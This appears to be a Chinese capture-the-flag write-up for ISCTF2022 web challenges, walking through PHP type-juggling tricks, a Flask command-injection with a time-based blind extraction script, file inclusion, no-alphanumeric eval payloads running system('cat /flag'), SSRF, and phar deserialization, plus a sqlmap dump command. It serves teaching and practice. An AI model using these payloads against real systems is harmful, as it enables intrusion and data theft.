ISCTF2022

EASY-PHP01

查看源代码

根据提示传参

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
    if (isset($_POST['ISCTF'])) {
        $ISCTF = $_POST['ISCTF'];
        if($ISCTF == 114514){
            if($ISCTF === "114514"){
                echo "好臭啊";
            }else{
                echo $flag;
            }
        }else{
            echo "= == === != !==";
        }
    }else{
        echo "什么是POST?";
    }
}else{
    echo " 什么是GET?";
}
ISCTF{a5393be1-a3ad-4b92-a750-7f1fc0ac0a5d}

payload

复制代码
?hint
ISCTF=114514.0

这里的114514是整数型,我们输入的是浮点型所以成功过获取flag

EASY-PHP02

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
    echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
    echo "做题前请告诉我你是小蓝鲨吗?";
    exit();
}
if (is_numeric($POST1)){
    if ($_GET["P0ST1"] != $_GET["P0ST2"]){
        
        if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

                $f1=$flag1;
                echo "小蓝鲨成功一半".$f1;              
            }
    }
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
    if( $GET1 == 0 ){
        echo "<br>"."前面的出来了吗?";
        if(is_numeric($GET2)){
            exit();
        }
        if($GET2 > 678){
            echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";     
            $Ag=base64_encode($flag2);
            }
    }
}
$flag666 = $f1.$Ag;
echo $flag666;
?>

需要我们传参五个参数一个输入名字,两个不同数字进行比较MD5值弱比较,两个不能为数字且一个大于678一个等于0

payload

复制代码
?NAME=小蓝鲨&P0ST1=0e123&P0ST2=240610708
GET1=0a&GET2=999a

一个十六进制转文本一个base64解码后UrlDecode解码

FakeWeb

burpsuite抓包 发现跳转页面

经过查阅资料,发现If-None-Match和ETag是解题关键点

复制代码
当浏览器请求服务器的某项资源(A)时,
服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag 返回给浏览器
浏览器把"3f80f-1b6-3e1cb03b" 和 A 同时缓存在本地,当下次再次向服务器请求A时
会通过类似 If-None-Match: "3f80f-1b6-3e1cb03b" 的请求头把ETag发送给服务器
服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200)
如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽
因为服务器不需要每次都把全量数据返回给客户端。
聪明的服务器开发者会把ETags和GET请求的"If-None-Match"头一起使用
这样可利用客户端(例如浏览器)的缓存。因为服务器首先产生ETag
服务器可在稍后使用它来判断页面是否已经被修改
本质上,客户端通过将该记号传回服务器要求服务器验证其(客户端)缓存
其过程如下: 
1. 客户端请求一个页面(A)服务器返回页面A,并在给A加上一个ETag
客户端展现该页面,并将页面连同ETag一起缓存。 
2. 客户再次请求页面A,并将上次请求时服务器返回的ETag一起传递给服务器
3. 服务器检查该ETag,并判断出该页面自上次客户端请求之后还未被修改
直接返回响应304(未修改------Not Modified)和一 个空的响应体

就是说要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包

crazy-onlineshell

根据提示进入/rce页面

我们来扫一下目录

不知道为什么还有一个页面要算pin值(之前的文章中有说过)

https://blog.csdn.net/fengci111/article/details/159212194?spm=1001.2014.3001.5501

有一个备份文件

原本应该是直接给我返回app.py页面的但是环境有问题,并没有找到

源码如下

复制代码
import flask
import subprocess
​
app = flask.Flask(__name__)
​
​
@app.route("/")
def hello_world():
    return "Try to access the /rce"
​
​
@app.route("/www.zip")
def return_SourceCode():
    with open("./app.py", "r") as f:   //访问www.zip会打开app.py
        return f.read()
    
    
    @app.route("/rce", methods=['GET', 'POST'])
    def action_rce():
        if flask.request.method == "GET":
            return "Why not try to search the backup"
        elif flask.request.method == "POST":
            action = flask.request.form["act"]   //在post传入act,写入命令
            with open("/app/temp.sh", "w") as f:
                f.write(action[1:-1])    //切片,截取第二个和倒数第二个字符之间的
                res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
                # print(res)
                return "success"
            
            
            if __name__ == '__main__':
                app.run(debug=True)

能够成功执行

正常情况下是这样

我们直接时间盲注了

复制代码
import requests
import string
from urllib import parse
import time

url = "http://challenge.imxbt.cn:30973/rce"
payload = ['if [ $(head -c ', ' flag) == "', '" ]; then    sleep 1;    echo "String1 and String2 are equal."; else    echo "String1 and String2 are not equal."; fi']
disc = string.digits + string.ascii_letters + "{}+-*/_"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}

flag = ""
for i in range(1, 50):
    status = False
    for j in disc:
        pld = "'" + payload[0] + str(i) + payload[1] + flag + j + payload[2] + "'"
        pld = parse.quote(pld)
        # print(pld)
        start_time = time.time()
        # res = requests.post(url=url, headers=head, data="act=" + pld, proxies={'http': 'http://127.0.0.1:8080'})
        res = requests.post(url=url, headers=head, data="act=" + pld)
        # print(res.text)
        end_time = time.time()
        print(j + " " + str(end_time - start_time))
        if (end_time - start_time) > 1:
            status = True
            flag += j
            print("--> flag :" + flag)
            break
    if status == False:
        print("--> " + flag + "<--")
        exit()

成功获取flag

easy_upload

复制代码
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
 exit();
} 
include $file;
}else{
    include("upload.php");
}
?>

看到可以查看文件,我们直接上传图片马再进行文件包含

成功获取flag

rce?

复制代码
<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  $code = $_GET['shell'];
  var_dump(eval($code));
}else{
  
echo "你能拿到flag吗?";
}
复制代码
get提交

?shell=%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20%27_%27%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B

post提交

_=system('cat /flag');

或者

复制代码
?shell=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3B?>

用post把shell传上服务器,在shell里面写好我们想执行的代码
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。
用. file执行文件,是不需要file有x权限的。
那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下
默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

------WebKitFormBoundarybHoBAeBi51cgXSkI
Content-Disposition: form-data; name="file"; filename="cmd1.txt"
Content-Type: image/plain

#!bin/sh
tac /flag
------WebKitFormBoundarybHoBAeBi51cgXSkI
Content-Disposition: form-data; name="submit"

submint
------WebKitFormBoundarybHoBAeBi51cgXSkI--

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");

或者异或也可以

curl

查看源代码

复制代码
<!--
if(isset($_GET['urls'])){
	$urls = $_GET['urls'];
	$url_host = parse_url($urls,PHP_URL_HOST);
	//Do something~~~~
	curl_get($urls);
}
-->

IP地址伪造,服务端请求伪造,?urls= http://127.0.0.1/flag.php 这个不行,不能绕过,试一下

?urls=0.0.0.0/flag.php

猫和老鼠

复制代码
<?php
class mouse
{
public $v;
}

class cat
{
    public $a;
    public $b;
    public $c;
} 

$m=new mouse;
$m->v="php://filter/read=convert.base64-encode/resource=flag.php";

$cat = new cat();
$cat->a=&$cat->b;
$cat->c=$m;

echo serialize($cat);

simplephp

复制代码
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";#正则表达式模式
##\\\\\\\\/Ilikeisctf#。在 PHP 正则中,反斜杠 \ 既是 PHP 字符串的转义符,也是正则的转义符
#\\\\\\\\ 在 PHP 解释后变成 \\\\
#\\\\ 在正则引擎中匹配 2 个字面意义上的反斜杠 \\
#需要在 URL 中输入 ?str=\\/Ilikeisctf
function filter($num){
    $num=str_replace("0x","1",$num); // 禁止十六进制
    $num=str_replace("0","1",$num);  // 将 0 替换为 1
    $num=str_replace(".","1",$num);  // 将点 替换为 1(禁止浮点数)
    $num=str_replace("e","1",$num);  // 将 e 替换为 1(禁止科学计数法)
    $num=str_replace("+","1",$num);  // 将 + 替换为 1
    return $num;
}

if(preg_match($pattern,$str,$arr))
{
    echo "good try!";
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
#is_numeric($num): 必须是数字或数字字符串。
#$num !== '36': 强类型比较,不能直接等于字符串 "36"。
#trim($num) !== '36': 去除两端空格后,依然不能等于 "36"。
#filter($num) == '36': 经过上面的 str_replace 过滤后,结果要变成 "36"。
        echo "come on!!!";
        if($num=='36'&isset($_GET['cmd'])){

                eval($_GET['cmd']);



        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }




}
复制代码
?str=\\/Ilikeisctf&num=%0c36&cmd=system("cat%20/flag");
#利用 PHP 的 str_replace 逻辑。我们可以输入 %0036(URL 编码)
#is_numeric("%0036") 在某些 PHP 版本下判定为 true
#filter 并不处理 %00,所以 filter("%0036") 依然含有不可见字符
#但在 == '36'(弱类型比较)时,PHP 会忽略开头的不可见字符

upload

复制代码
<!DOCTYPE html>
<html>
<head>
    <title>BaliYun图床</title>
    <link rel="stylesheet" href="css/style.css">
    <link href='//fonts.googleapis.com/css?family=Open+Sans:400,300italic,300,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'>
    <link href='//fonts.googleapis.com/css?family=Montserrat:400,700' rel='stylesheet' type='text/css'>


    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="keywords" content="File Upload widget Widget Responsive, Login Form Web Template, Flat Pricing Tables, Flat Drop-Downs, Sign-Up Web Templates, Flat Web Templates, Login Sign-up Responsive Web Template, Smartphone Compatible Web Template, Free Web Designs for Nokia, Samsung, LG, Sony Ericsson, Motorola Web Design" />
    <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
</head>

<body>
<h1>welcome 蓝鲨</h1>
<div class="agile-its">
    <h2>Image Upload</h2>
    <div class="w3layouts">
        <div class="photos-upload-view">
            <form action="index.php" method="post" enctype="multipart/form-data">
                <label for="file">选择文件</label>
                <input type="file" name="file" id="file"><br>
                <input type="submit" name="submit" value="提交">
            </form>
            <div id="messages">
                <p>
                    <?php
                    include("class.php");
                    if(isset($_GET['img_name'])){
                        $down = new check_img();
                        echo $down->img_check();
                    }
                    if(isset($_FILES["file"]["name"])){
                        $up = new upload();
                        echo $up->start();
                    }
                    ?>
                </p>
            </div>
        </div>
        <div class="clearfix"></div>
        <script src="js/filedrag.js"></script>


    </div>
</div>
<div class="footer">
    <p> Powerded by  <a href="http://w3layouts.com/">welcome 蓝鲨</a></p>
</div>

<script type="text/javascript" src="js/jquery.min.js"></script>

</div>
</body>
</html>

只是一个上传的页面

复制代码
<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }
获取上传文件的原始名称
只能上传"gif", "jpeg", "jpg", "png"
    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}
反序列化触发
会读取 $this->filename 指定的文件内容并直接输出。
class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

重点在这里

复制代码
<?php
class upload{
 public $filename;
 public $ext;
 public $size;
 public $Valid_ext;
 public function __construct($cmd){
 $this->filename = $cmd;
 $this->ext = ".png";
 $this->size = 1;
 $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
 }
 public function start(){
 return $this->check();
 }
 private function check(){
 if(file_exists($this->filename)){
 return "Image already exsists";
 }elseif(!in_array($this->ext, $this->Valid_ext)){
 return "Only Image Can Be Uploaded";
 }else{
 return $this->move();
 }
 }
 private function move(){
 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
 return "Upload succsess!";
 }
 public function __wakeup(){
 echo file_get_contents($this->filename);
 } }
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = "/flag";
$object = new upload($payload);
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

修改为jpg后缀

?img_name=phar://upload/phar.jpg

傻柱

直接扫

python sqlmap.py -u "http://challenge.imxbt.cn:30875//login.php" --level 5 --dump

能直接出,就是扫得太慢了

相关推荐
子兮曰2 小时前
🚀24k Star 的 Pretext 为何突然爆火:它不是排版库,而是在重写 Web 文本测量
前端·javascript·github
起个名字总是说已存在5 小时前
github开源AI 拓展工具:Agent Reach
人工智能·github·dreamweaver
小雨青年6 小时前
GitHub Copilot 默认启用训练之后 企业安全如何应对
安全·github·copilot
攀登的牵牛花8 小时前
2.1w Star 的 pretext 火在哪?
前端·github
糖猫猫_8 小时前
Kite 实现逻辑删除
后端·github
一叶萩Charles8 小时前
GitHub AI Agent 开源生态概览
人工智能·开源·github
bxri9 小时前
团队协作中的 Git 工作流(企业级实战)
git·gitee·github
第一程序员9 小时前
Python与容器化:Docker和Kubernetes实战
python·github
CoderJia程序员甲9 小时前
GitHub 热榜项目 - 日榜(2026-03-30)
人工智能·ai·大模型·github·ai教程